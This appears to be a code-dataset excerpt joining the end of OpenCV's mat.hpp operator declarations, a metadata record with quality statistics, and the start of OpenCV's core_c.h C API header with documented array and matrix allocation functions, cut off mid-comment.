template<typename _Tp, int m, int n> static inline MatExpr operator - (const Mat& a, const Matx<_Tp, m, n>& b) { return a - Mat(b); } template<typename _Tp, int m, int n> static inline MatExpr operator - (const Matx<_Tp, m, n>& a, const Mat& b) { return Mat(a) - b; } CV_EXPORTS MatExpr operator - (const Mat& m); CV_EXPORTS MatExpr operator - (const MatExpr& e); CV_EXPORTS MatExpr operator * (const Mat& a, const Mat& b); CV_EXPORTS MatExpr operator * (const Mat& a, double s); CV_EXPORTS MatExpr operator * (double s, const Mat& a); CV_EXPORTS MatExpr operator * (const MatExpr& e, const Mat& m); CV_EXPORTS MatExpr operator * (const Mat& m, const MatExpr& e); CV_EXPORTS MatExpr operator * (const MatExpr& e, double s); CV_EXPORTS MatExpr operator * (double s, const MatExpr& e); CV_EXPORTS MatExpr operator * (const MatExpr& e1, const MatExpr& e2); template<typename _Tp, int m, int n> static inline MatExpr operator * (const Mat& a, const Matx<_Tp, m, n>& b) { return a * Mat(b); } template<typename _Tp, int m, int n> static inline MatExpr operator * (const Matx<_Tp, m, n>& a, const Mat& b) { return Mat(a) * b; } CV_EXPORTS MatExpr operator / (const Mat& a, const Mat& b); CV_EXPORTS MatExpr operator / (const Mat& a, double s); CV_EXPORTS MatExpr operator / (double s, const Mat& a); CV_EXPORTS MatExpr operator / (const MatExpr& e, const Mat& m); CV_EXPORTS MatExpr operator / (const Mat& m, const MatExpr& e); CV_EXPORTS MatExpr operator / (const MatExpr& e, double s); CV_EXPORTS MatExpr operator / (double s, const MatExpr& e); CV_EXPORTS MatExpr operator / (const MatExpr& e1, const MatExpr& e2); template<typename _Tp, int m, int n> static inline MatExpr operator / (const Mat& a, const Matx<_Tp, m, n>& b) { return a / Mat(b); } template<typename _Tp, int m, int n> static inline MatExpr operator / (const Matx<_Tp, m, n>& a, const Mat& b) { return Mat(a) / b; } CV_EXPORTS MatExpr operator < (const Mat& a, const Mat& b); CV_EXPORTS MatExpr operator < (const Mat& a, double s); CV_EXPORTS MatExpr operator < (double s, const Mat& a); template<typename _Tp, int m, int n> static inline MatExpr operator < (const Mat& a, const Matx<_Tp, m, n>& b) { return a < Mat(b); } template<typename _Tp, int m, int n> static inline MatExpr operator < (const Matx<_Tp, m, n>& a, const Mat& b) { return Mat(a) < b; } CV_EXPORTS MatExpr operator <= (const Mat& a, const Mat& b); CV_EXPORTS MatExpr operator <= (const Mat& a, double s); CV_EXPORTS MatExpr operator <= (double s, const Mat& a); template<typename _Tp, int m, int n> static inline MatExpr operator <= (const Mat& a, const Matx<_Tp, m, n>& b) { return a <= Mat(b); } template<typename _Tp, int m, int n> static inline MatExpr operator <= (const Matx<_Tp, m, n>& a, const Mat& b) { return Mat(a) <= b; } CV_EXPORTS MatExpr operator == (const Mat& a, const Mat& b); CV_EXPORTS MatExpr operator == (const Mat& a, double s); CV_EXPORTS MatExpr operator == (double s, const Mat& a); template<typename _Tp, int m, int n> static inline MatExpr operator == (const Mat& a, const Matx<_Tp, m, n>& b) { return a == Mat(b); } template<typename _Tp, int m, int n> static inline MatExpr operator == (const Matx<_Tp, m, n>& a, const Mat& b) { return Mat(a) == b; } CV_EXPORTS MatExpr operator != (const Mat& a, const Mat& b); CV_EXPORTS MatExpr operator != (const Mat& a, double s); CV_EXPORTS MatExpr operator != (double s, const Mat& a); template<typename _Tp, int m, int n> static inline MatExpr operator != (const Mat& a, const Matx<_Tp, m, n>& b) { return a != Mat(b); } template<typename _Tp, int m, int n> static inline MatExpr operator != (const Matx<_Tp, m, n>& a, const Mat& b) { return Mat(a) != b; } CV_EXPORTS MatExpr operator >= (const Mat& a, const Mat& b); CV_EXPORTS MatExpr operator >= (const Mat& a, double s); CV_EXPORTS MatExpr operator >= (double s, const Mat& a); template<typename _Tp, int m, int n> static inline MatExpr operator >= (const Mat& a, const Matx<_Tp, m, n>& b) { return a >= Mat(b); } template<typename _Tp, int m, int n> static inline MatExpr operator >= (const Matx<_Tp, m, n>& a, const Mat& b) { return Mat(a) >= b; } CV_EXPORTS MatExpr operator > (const Mat& a, const Mat& b); CV_EXPORTS MatExpr operator > (const Mat& a, double s); CV_EXPORTS MatExpr operator > (double s, const Mat& a); template<typename _Tp, int m, int n> static inline MatExpr operator > (const Mat& a, const Matx<_Tp, m, n>& b) { return a > Mat(b); } template<typename _Tp, int m, int n> static inline MatExpr operator > (const Matx<_Tp, m, n>& a, const Mat& b) { return Mat(a) > b; } CV_EXPORTS MatExpr operator & (const Mat& a, const Mat& b); CV_EXPORTS MatExpr operator & (const Mat& a, const Scalar& s); CV_EXPORTS MatExpr operator & (const Scalar& s, const Mat& a); template<typename _Tp, int m, int n> static inline MatExpr operator & (const Mat& a, const Matx<_Tp, m, n>& b) { return a & Mat(b); } template<typename _Tp, int m, int n> static inline MatExpr operator & (const Matx<_Tp, m, n>& a, const Mat& b) { return Mat(a) & b; } CV_EXPORTS MatExpr operator | (const Mat& a, const Mat& b); CV_EXPORTS MatExpr operator | (const Mat& a, const Scalar& s); CV_EXPORTS MatExpr operator | (const Scalar& s, const Mat& a); template<typename _Tp, int m, int n> static inline MatExpr operator | (const Mat& a, const Matx<_Tp, m, n>& b) { return a | Mat(b); } template<typename _Tp, int m, int n> static inline MatExpr operator | (const Matx<_Tp, m, n>& a, const Mat& b) { return Mat(a) | b; } CV_EXPORTS MatExpr operator ^ (const Mat& a, const Mat& b); CV_EXPORTS MatExpr operator ^ (const Mat& a, const Scalar& s); CV_EXPORTS MatExpr operator ^ (const Scalar& s, const Mat& a); template<typename _Tp, int m, int n> static inline MatExpr operator ^ (const Mat& a, const Matx<_Tp, m, n>& b) { return a ^ Mat(b); } template<typename _Tp, int m, int n> static inline MatExpr operator ^ (const Matx<_Tp, m, n>& a, const Mat& b) { return Mat(a) ^ b; } CV_EXPORTS MatExpr operator ~(const Mat& m); CV_EXPORTS MatExpr min(const Mat& a, const Mat& b); CV_EXPORTS MatExpr min(const Mat& a, double s); CV_EXPORTS MatExpr min(double s, const Mat& a); template<typename _Tp, int m, int n> static inline MatExpr min (const Mat& a, const Matx<_Tp, m, n>& b) { return min(a, Mat(b)); } template<typename _Tp, int m, int n> static inline MatExpr min (const Matx<_Tp, m, n>& a, const Mat& b) { return min(Mat(a), b); } CV_EXPORTS MatExpr max(const Mat& a, const Mat& b); CV_EXPORTS MatExpr max(const Mat& a, double s); CV_EXPORTS MatExpr max(double s, const Mat& a); template<typename _Tp, int m, int n> static inline MatExpr max (const Mat& a, const Matx<_Tp, m, n>& b) { return max(a, Mat(b)); } template<typename _Tp, int m, int n> static inline MatExpr max (const Matx<_Tp, m, n>& a, const Mat& b) { return max(Mat(a), b); } /** @brief Calculates an absolute value of each matrix element. abs is a meta-function that is expanded to one of absdiff or convertScaleAbs forms: - C = abs(A-B) is equivalent to `absdiff(A, B, C)` - C = abs(A) is equivalent to `absdiff(A, Scalar::all(0), C)` - C = `Mat_<Vec<uchar,n> >(abs(A*alpha + beta))` is equivalent to `convertScaleAbs(A, C, alpha, beta)` The output matrix has the same size and the same type as the input one except for the last case, where C is depth=CV_8U . @param m matrix. @sa @ref MatrixExpressions, absdiff, convertScaleAbs */ CV_EXPORTS MatExpr abs(const Mat& m); /** @overload @param e matrix expression. */ CV_EXPORTS MatExpr abs(const MatExpr& e); //! @} relates cv::MatExpr } // cv #include "opencv2/core/mat.inl.hpp" #endif // OPENCV_CORE_MAT_HPP
160,980
mat
hpp
en
cpp
code
{"qsc_code_num_words": 23174, "qsc_code_num_chars": 160980.0, "qsc_code_mean_word_length": 4.61439544, "qsc_code_frac_words_unique": 0.07547251, "qsc_code_frac_chars_top_2grams": 0.01264331, "qsc_code_frac_chars_top_3grams": 0.02676417, "qsc_code_frac_chars_top_4grams": 0.01391513, "qsc_code_frac_chars_dupe_5grams": 0.52177044, "qsc_code_frac_chars_dupe_6grams": 0.46537116, "qsc_code_frac_chars_dupe_7grams": 0.42539323, "qsc_code_frac_chars_dupe_8grams": 0.38787476, "qsc_code_frac_chars_dupe_9grams": 0.34045299, "qsc_code_frac_chars_dupe_10grams": 0.31202424, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0130481, "qsc_code_frac_chars_whitespace": 0.22208349, "qsc_code_size_file_byte": 160980.0, "qsc_code_num_lines": 3726.0, "qsc_code_num_chars_line_max": 178.0, "qsc_code_num_chars_line_mean": 43.20450886, "qsc_code_frac_chars_alphabet": 0.84085955, "qsc_code_frac_chars_comments": 0.64076904, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.16652789, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00162548, "qsc_code_frac_chars_long_word_length": 0.00162548, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00193674, "qsc_code_frac_lines_prompt_comments": 0.00053677, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.35970025, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.37885096, "qsc_codecpp_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
0015/ESP32-OpenCV-Projects
esp32/examples/color_code/main/opencv/opencv2/core/core_c.h
/*M/////////////////////////////////////////////////////////////////////////////////////// // // IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING. // // By downloading, copying, installing or using the software you agree to this license. // If you do not agree to this license, do not download, install, // copy or use the software. // // // License Agreement // For Open Source Computer Vision Library // // Copyright (C) 2000-2008, Intel Corporation, all rights reserved. // Copyright (C) 2009, Willow Garage Inc., all rights reserved. // Copyright (C) 2013, OpenCV Foundation, all rights reserved. // Third party copyrights are property of their respective owners. // // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // * Redistribution's of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistribution's in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * The name of the copyright holders may not be used to endorse or promote products // derived from this software without specific prior written permission. // // This software is provided by the copyright holders and contributors "as is" and // any express or implied warranties, including, but not limited to, the implied // warranties of merchantability and fitness for a particular purpose are disclaimed. // In no event shall the Intel Corporation or contributors be liable for any direct, // indirect, incidental, special, exemplary, or consequential damages // (including, but not limited to, procurement of substitute goods or services; // loss of use, data, or profits; or business interruption) however caused // and on any theory of liability, whether in contract, strict liability, // or tort (including negligence or otherwise) arising in any way out of // the use of this software, even if advised of the possibility of such damage. // //M*/ #ifndef OPENCV_CORE_C_H #define OPENCV_CORE_C_H #include "opencv2/core/types_c.h" #ifdef __cplusplus # ifdef _MSC_VER /* disable warning C4190: 'function' has C-linkage specified, but returns UDT 'typename' which is incompatible with C It is OK to disable it because we only extend few plain structures with C++ constructors for simpler interoperability with C++ API of the library */ # pragma warning(disable:4190) # elif defined __clang__ && __clang_major__ >= 3 # pragma GCC diagnostic ignored "-Wreturn-type-c-linkage" # endif #endif #ifdef __cplusplus extern "C" { #endif /** @addtogroup core_c @{ */ /****************************************************************************************\ * Array allocation, deallocation, initialization and access to elements * \****************************************************************************************/ /** `malloc` wrapper. If there is no enough memory, the function (as well as other OpenCV functions that call cvAlloc) raises an error. */ CVAPI(void*) cvAlloc( size_t size ); /** `free` wrapper. Here and further all the memory releasing functions (that all call cvFree) take double pointer in order to to clear pointer to the data after releasing it. Passing pointer to NULL pointer is Ok: nothing happens in this case */ CVAPI(void) cvFree_( void* ptr ); #define cvFree(ptr) (cvFree_(*(ptr)), *(ptr)=0) /** @brief Creates an image header but does not allocate the image data. @param size Image width and height @param depth Image depth (see cvCreateImage ) @param channels Number of channels (see cvCreateImage ) */ CVAPI(IplImage*) cvCreateImageHeader( CvSize size, int depth, int channels ); /** @brief Initializes an image header that was previously allocated. The returned IplImage\* points to the initialized header. @param image Image header to initialize @param size Image width and height @param depth Image depth (see cvCreateImage ) @param channels Number of channels (see cvCreateImage ) @param origin Top-left IPL_ORIGIN_TL or bottom-left IPL_ORIGIN_BL @param align Alignment for image rows, typically 4 or 8 bytes */ CVAPI(IplImage*) cvInitImageHeader( IplImage* image, CvSize size, int depth, int channels, int origin CV_DEFAULT(0), int align CV_DEFAULT(4)); /** @brief Creates an image header and allocates the image data. This function call is equivalent to the following code: @code header = cvCreateImageHeader(size, depth, channels); cvCreateData(header); @endcode @param size Image width and height @param depth Bit depth of image elements. See IplImage for valid depths. @param channels Number of channels per pixel. See IplImage for details. This function only creates images with interleaved channels. */ CVAPI(IplImage*) cvCreateImage( CvSize size, int depth, int channels ); /** @brief Deallocates an image header. This call is an analogue of : @code if(image ) { iplDeallocate(*image, IPL_IMAGE_HEADER | IPL_IMAGE_ROI); *image = 0; } @endcode but it does not use IPL functions by default (see the CV_TURN_ON_IPL_COMPATIBILITY macro). @param image Double pointer to the image header */ CVAPI(void) cvReleaseImageHeader( IplImage** image ); /** @brief Deallocates the image header and the image data. This call is a shortened form of : @code if(*image ) { cvReleaseData(*image); cvReleaseImageHeader(image); } @endcode @param image Double pointer to the image header */ CVAPI(void) cvReleaseImage( IplImage** image ); /** Creates a copy of IPL image (widthStep may differ) */ CVAPI(IplImage*) cvCloneImage( const IplImage* image ); /** @brief Sets the channel of interest in an IplImage. If the ROI is set to NULL and the coi is *not* 0, the ROI is allocated. Most OpenCV functions do *not* support the COI setting, so to process an individual image/matrix channel one may copy (via cvCopy or cvSplit) the channel to a separate image/matrix, process it and then copy the result back (via cvCopy or cvMerge) if needed. @param image A pointer to the image header @param coi The channel of interest. 0 - all channels are selected, 1 - first channel is selected, etc. Note that the channel indices become 1-based. */ CVAPI(void) cvSetImageCOI( IplImage* image, int coi ); /** @brief Returns the index of the channel of interest. Returns the channel of interest of in an IplImage. Returned values correspond to the coi in cvSetImageCOI. @param image A pointer to the image header */ CVAPI(int) cvGetImageCOI( const IplImage* image ); /** @brief Sets an image Region Of Interest (ROI) for a given rectangle. If the original image ROI was NULL and the rect is not the whole image, the ROI structure is allocated. Most OpenCV functions support the use of ROI and treat the image rectangle as a separate image. For example, all of the pixel coordinates are counted from the top-left (or bottom-left) corner of the ROI, not the original image. @param image A pointer to the image header @param rect The ROI rectangle */ CVAPI(void) cvSetImageROI( IplImage* image, CvRect rect ); /** @brief Resets the image ROI to include the entire image and releases the ROI structure. This produces a similar result to the following, but in addition it releases the ROI structure. : @code cvSetImageROI(image, cvRect(0, 0, image->width, image->height )); cvSetImageCOI(image, 0); @endcode @param image A pointer to the image header */ CVAPI(void) cvResetImageROI( IplImage* image ); /** @brief Returns the image ROI. If there is no ROI set, cvRect(0,0,image-\>width,image-\>height) is returned. @param image A pointer to the image header */ CVAPI(CvRect) cvGetImageROI( const IplImage* image ); /** @brief Creates a matrix header but does not allocate the matrix data. The function allocates a new matrix header and returns a pointer to it. The matrix data can then be allocated using cvCreateData or set explicitly to user-allocated data via cvSetData. @param rows Number of rows in the matrix @param cols Number of columns in the matrix @param type Type of the matrix elements, see cvCreateMat */ CVAPI(CvMat*) cvCreateMatHeader( int rows, int cols, int type ); #define CV_AUTOSTEP 0x7fffffff /** @brief Initializes a pre-allocated matrix header. This function is often used to process raw data with OpenCV matrix functions. For example, the following code computes the matrix product of two matrices, stored as ordinary arrays: @code double a[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 }; double b[] = { 1, 5, 9, 2, 6, 10, 3, 7, 11, 4, 8, 12 }; double c[9]; CvMat Ma, Mb, Mc ; cvInitMatHeader(&Ma, 3, 4, CV_64FC1, a); cvInitMatHeader(&Mb, 4, 3, CV_64FC1, b); cvInitMatHeader(&Mc, 3, 3, CV_64FC1, c); cvMatMulAdd(&Ma, &Mb, 0, &Mc); // the c array now contains the product of a (3x4) and b (4x3) @endcode @param mat A pointer to the matrix header to be initialized @param rows Number of rows in the matrix @param cols Number of columns in the matrix @param type Type of the matrix elements, see cvCreateMat . @param data Optional: data pointer assigned to the matrix header @param step Optional: full row width in bytes of the assigned data. By default, the minimal possible step is used which assumes there are no gaps between subsequent rows of the matrix. */ CVAPI(CvMat*) cvInitMatHeader( CvMat* mat, int rows, int cols, int type, void* data CV_DEFAULT(NULL), int step CV_DEFAULT(CV_AUTOSTEP) ); /** @brief Creates a matrix header and allocates the matrix data. The function call is equivalent to the following code: @code CvMat* mat = cvCreateMatHeader(rows, cols, type); cvCreateData(mat); @endcode @param rows Number of rows in the matrix @param cols Number of columns in the matrix @param type The type of the matrix elements in the form CV_\<bit depth\>\<S|U|F\>C\<number of channels\> , where S=signed, U=unsigned, F=float. For example, CV _ 8UC1 means the elements are 8-bit unsigned and the there is 1 channel, and CV _ 32SC2 means the elements are 32-bit signed and there are 2 channels. */ CVAPI(CvMat*) cvCreateMat( int rows, int cols, int type ); /** @brief Deallocates a matrix. The function decrements the matrix data reference counter and deallocates matrix header. If the data reference counter is 0, it also deallocates the data. : @code if(*mat ) cvDecRefData(*mat); cvFree((void**)mat); @endcode @param mat Double pointer to the matrix */ CVAPI(void) cvReleaseMat( CvMat** mat ); /** @brief Decrements an array data reference counter. The function decrements the data reference counter in a CvMat or CvMatND if the reference counter pointer is not NULL. If the counter reaches zero, the data is deallocated. In the current implementation the reference counter is not NULL only if the data was allocated using the cvCreateData function. The counter will be NULL in other cases such as: external data was assigned to the header using cvSetData, header is part of a larger matrix or image, or the header was converted from an image or n-dimensional matrix header. @param arr Pointer to an array header */ CV_INLINE void cvDecRefData( CvArr* arr ) { if( CV_IS_MAT( arr )) { CvMat* mat = (CvMat*)arr; mat->data.ptr = NULL; if( mat->refcount != NULL && --*mat->refcount == 0 ) cvFree( &mat->refcount ); mat->refcount = NULL; } else if( CV_IS_MATND( arr )) { CvMatND* mat = (CvMatND*)arr; mat->data.ptr = NULL; if( mat->refcount != NULL && --*mat->refcount == 0 ) cvFree( &mat->refcount ); mat->refcount = NULL; } } /** @brief Increments array data reference counter. The function increments CvMat or CvMatND data reference counter and returns the new counter value if the reference counter pointer is not NULL, otherwise it returns zero. @param arr Array header */ CV_INLINE int cvIncRefData( CvArr* arr ) { int refcount = 0; if( CV_IS_MAT( arr )) { CvMat* mat = (CvMat*)arr; if( mat->refcount != NULL ) refcount = ++*mat->refcount; } else if( CV_IS_MATND( arr )) { CvMatND* mat = (CvMatND*)arr; if( mat->refcount != NULL ) refcount = ++*mat->refcount; } return refcount; } /** Creates an exact copy of the input matrix (except, may be, step value) */ CVAPI(CvMat*) cvCloneMat( const CvMat* mat ); /** @brief Returns matrix header corresponding to the rectangular sub-array of input image or matrix. The function returns header, corresponding to a specified rectangle of the input array. In other words, it allows the user to treat a rectangular part of input array as a stand-alone array. ROI is taken into account by the function so the sub-array of ROI is actually extracted. @param arr Input array @param submat Pointer to the resultant sub-array header @param rect Zero-based coordinates of the rectangle of interest */ CVAPI(CvMat*) cvGetSubRect( const CvArr* arr, CvMat* submat, CvRect rect ); #define cvGetSubArr cvGetSubRect /** @brief Returns array row or row span. The function returns the header, corresponding to a specified row/row span of the input array. cvGetRow(arr, submat, row) is a shortcut for cvGetRows(arr, submat, row, row+1). @param arr Input array @param submat Pointer to the resulting sub-array header @param start_row Zero-based index of the starting row (inclusive) of the span @param end_row Zero-based index of the ending row (exclusive) of the span @param delta_row Index step in the row span. That is, the function extracts every delta_row -th row from start_row and up to (but not including) end_row . */ CVAPI(CvMat*) cvGetRows( const CvArr* arr, CvMat* submat, int start_row, int end_row, int delta_row CV_DEFAULT(1)); /** @overload @param arr Input array @param submat Pointer to the resulting sub-array header @param row Zero-based index of the selected row */ CV_INLINE CvMat* cvGetRow( const CvArr* arr, CvMat* submat, int row ) { return cvGetRows( arr, submat, row, row + 1, 1 ); } /** @brief Returns one of more array columns. The function returns the header, corresponding to a specified column span of the input array. That is, no data is copied. Therefore, any modifications of the submatrix will affect the original array. If you need to copy the columns, use cvCloneMat. cvGetCol(arr, submat, col) is a shortcut for cvGetCols(arr, submat, col, col+1). @param arr Input array @param submat Pointer to the resulting sub-array header @param start_col Zero-based index of the starting column (inclusive) of the span @param end_col Zero-based index of the ending column (exclusive) of the span */ CVAPI(CvMat*) cvGetCols( const CvArr* arr, CvMat* submat, int start_col, int end_col ); /** @overload @param arr Input array @param submat Pointer to the resulting sub-array header @param col Zero-based index of the selected column */ CV_INLINE CvMat* cvGetCol( const CvArr* arr, CvMat* submat, int col ) { return cvGetCols( arr, submat, col, col + 1 ); } /** @brief Returns one of array diagonals. The function returns the header, corresponding to a specified diagonal of the input array. @param arr Input array @param submat Pointer to the resulting sub-array header @param diag Index of the array diagonal. Zero value corresponds to the main diagonal, -1 corresponds to the diagonal above the main, 1 corresponds to the diagonal below the main, and so forth. */ CVAPI(CvMat*) cvGetDiag( const CvArr* arr, CvMat* submat, int diag CV_DEFAULT(0)); /** low-level scalar <-> raw data conversion functions */ CVAPI(void) cvScalarToRawData( const CvScalar* scalar, void* data, int type, int extend_to_12 CV_DEFAULT(0) ); CVAPI(void) cvRawDataToScalar( const void* data, int type, CvScalar* scalar ); /** @brief Creates a new matrix header but does not allocate the matrix data. The function allocates a header for a multi-dimensional dense array. The array data can further be allocated using cvCreateData or set explicitly to user-allocated data via cvSetData. @param dims Number of array dimensions @param sizes Array of dimension sizes @param type Type of array elements, see cvCreateMat */ CVAPI(CvMatND*) cvCreateMatNDHeader( int dims, const int* sizes, int type ); /** @brief Creates the header and allocates the data for a multi-dimensional dense array. This function call is equivalent to the following code: @code CvMatND* mat = cvCreateMatNDHeader(dims, sizes, type); cvCreateData(mat); @endcode @param dims Number of array dimensions. This must not exceed CV_MAX_DIM (32 by default, but can be changed at build time). @param sizes Array of dimension sizes. @param type Type of array elements, see cvCreateMat . */ CVAPI(CvMatND*) cvCreateMatND( int dims, const int* sizes, int type ); /** @brief Initializes a pre-allocated multi-dimensional array header. @param mat A pointer to the array header to be initialized @param dims The number of array dimensions @param sizes An array of dimension sizes @param type Type of array elements, see cvCreateMat @param data Optional data pointer assigned to the matrix header */ CVAPI(CvMatND*) cvInitMatNDHeader( CvMatND* mat, int dims, const int* sizes, int type, void* data CV_DEFAULT(NULL) ); /** @brief Deallocates a multi-dimensional array. The function decrements the array data reference counter and releases the array header. If the reference counter reaches 0, it also deallocates the data. : @code if(*mat ) cvDecRefData(*mat); cvFree((void**)mat); @endcode @param mat Double pointer to the array */ CV_INLINE void cvReleaseMatND( CvMatND** mat ) { cvReleaseMat( (CvMat**)mat ); } /** Creates a copy of CvMatND (except, may be, steps) */ CVAPI(CvMatND*) cvCloneMatND( const CvMatND* mat ); /** @brief Creates sparse array. The function allocates a multi-dimensional sparse array. Initially the array contain no elements, that is PtrND and other related functions will return 0 for every index. @param dims Number of array dimensions. In contrast to the dense matrix, the number of dimensions is practically unlimited (up to \f$2^{16}\f$ ). @param sizes Array of dimension sizes @param type Type of array elements. The same as for CvMat */ CVAPI(CvSparseMat*) cvCreateSparseMat( int dims, const int* sizes, int type ); /** @brief Deallocates sparse array. The function releases the sparse array and clears the array pointer upon exit. @param mat Double pointer to the array */ CVAPI(void) cvReleaseSparseMat( CvSparseMat** mat ); /** Creates a copy of CvSparseMat (except, may be, zero items) */ CVAPI(CvSparseMat*) cvCloneSparseMat( const CvSparseMat* mat ); /** @brief Initializes sparse array elements iterator. The function initializes iterator of sparse array elements and returns pointer to the first element, or NULL if the array is empty. @param mat Input array @param mat_iterator Initialized iterator */ CVAPI(CvSparseNode*) cvInitSparseMatIterator( const CvSparseMat* mat, CvSparseMatIterator* mat_iterator ); /** @brief Returns the next sparse matrix element The function moves iterator to the next sparse matrix element and returns pointer to it. In the current version there is no any particular order of the elements, because they are stored in the hash table. The sample below demonstrates how to iterate through the sparse matrix: @code // print all the non-zero sparse matrix elements and compute their sum double sum = 0; int i, dims = cvGetDims(sparsemat); CvSparseMatIterator it; CvSparseNode* node = cvInitSparseMatIterator(sparsemat, &it); for(; node != 0; node = cvGetNextSparseNode(&it)) { int* idx = CV_NODE_IDX(array, node); float val = *(float*)CV_NODE_VAL(array, node); printf("M"); for(i = 0; i < dims; i++ ) printf("[%d]", idx[i]); printf("=%g\n", val); sum += val; } printf("nTotal sum = %g\n", sum); @endcode @param mat_iterator Sparse array iterator */ CV_INLINE CvSparseNode* cvGetNextSparseNode( CvSparseMatIterator* mat_iterator ) { if( mat_iterator->node->next ) return mat_iterator->node = mat_iterator->node->next; else { int idx; for( idx = ++mat_iterator->curidx; idx < mat_iterator->mat->hashsize; idx++ ) { CvSparseNode* node = (CvSparseNode*)mat_iterator->mat->hashtable[idx]; if( node ) { mat_iterator->curidx = idx; return mat_iterator->node = node; } } return NULL; } } #define CV_MAX_ARR 10 /** matrix iterator: used for n-ary operations on dense arrays */ typedef struct CvNArrayIterator { int count; /**< number of arrays */ int dims; /**< number of dimensions to iterate */ CvSize size; /**< maximal common linear size: { width = size, height = 1 } */ uchar* ptr[CV_MAX_ARR]; /**< pointers to the array slices */ int stack[CV_MAX_DIM]; /**< for internal use */ CvMatND* hdr[CV_MAX_ARR]; /**< pointers to the headers of the matrices that are processed */ } CvNArrayIterator; #define CV_NO_DEPTH_CHECK 1 #define CV_NO_CN_CHECK 2 #define CV_NO_SIZE_CHECK 4 /** initializes iterator that traverses through several arrays simultaneously (the function together with cvNextArraySlice is used for N-ari element-wise operations) */ CVAPI(int) cvInitNArrayIterator( int count, CvArr** arrs, const CvArr* mask, CvMatND* stubs, CvNArrayIterator* array_iterator, int flags CV_DEFAULT(0) ); /** returns zero value if iteration is finished, non-zero (slice length) otherwise */ CVAPI(int) cvNextNArraySlice( CvNArrayIterator* array_iterator ); /** @brief Returns type of array elements. The function returns type of the array elements. In the case of IplImage the type is converted to CvMat-like representation. For example, if the image has been created as: @code IplImage* img = cvCreateImage(cvSize(640, 480), IPL_DEPTH_8U, 3); @endcode The code cvGetElemType(img) will return CV_8UC3. @param arr Input array */ CVAPI(int) cvGetElemType( const CvArr* arr ); /** @brief Return number of array dimensions The function returns the array dimensionality and the array of dimension sizes. In the case of IplImage or CvMat it always returns 2 regardless of number of image/matrix rows. For example, the following code calculates total number of array elements: @code int sizes[CV_MAX_DIM]; int i, total = 1; int dims = cvGetDims(arr, size); for(i = 0; i < dims; i++ ) total *= sizes[i]; @endcode @param arr Input array @param sizes Optional output vector of the array dimension sizes. For 2d arrays the number of rows (height) goes first, number of columns (width) next. */ CVAPI(int) cvGetDims( const CvArr* arr, int* sizes CV_DEFAULT(NULL) ); /** @brief Returns array size along the specified dimension. @param arr Input array @param index Zero-based dimension index (for matrices 0 means number of rows, 1 means number of columns; for images 0 means height, 1 means width) */ CVAPI(int) cvGetDimSize( const CvArr* arr, int index ); /** @brief Return pointer to a particular array element. The functions return a pointer to a specific array element. Number of array dimension should match to the number of indices passed to the function except for cvPtr1D function that can be used for sequential access to 1D, 2D or nD dense arrays. The functions can be used for sparse arrays as well - if the requested node does not exist they create it and set it to zero. All these as well as other functions accessing array elements ( cvGetND , cvGetRealND , cvSet , cvSetND , cvSetRealND ) raise an error in case if the element index is out of range. @param arr Input array @param idx0 The first zero-based component of the element index @param type Optional output parameter: type of matrix elements */ CVAPI(uchar*) cvPtr1D( const CvArr* arr, int idx0, int* type CV_DEFAULT(NULL)); /** @overload */ CVAPI(uchar*) cvPtr2D( const CvArr* arr, int idx0, int idx1, int* type CV_DEFAULT(NULL) ); /** @overload */ CVAPI(uchar*) cvPtr3D( const CvArr* arr, int idx0, int idx1, int idx2, int* type CV_DEFAULT(NULL)); /** @overload @param arr Input array @param idx Array of the element indices @param type Optional output parameter: type of matrix elements @param create_node Optional input parameter for sparse matrices. Non-zero value of the parameter means that the requested element is created if it does not exist already. @param precalc_hashval Optional input parameter for sparse matrices. If the pointer is not NULL, the function does not recalculate the node hash value, but takes it from the specified location. It is useful for speeding up pair-wise operations (TODO: provide an example) */ CVAPI(uchar*) cvPtrND( const CvArr* arr, const int* idx, int* type CV_DEFAULT(NULL), int create_node CV_DEFAULT(1), unsigned* precalc_hashval CV_DEFAULT(NULL)); /** @brief Return a specific 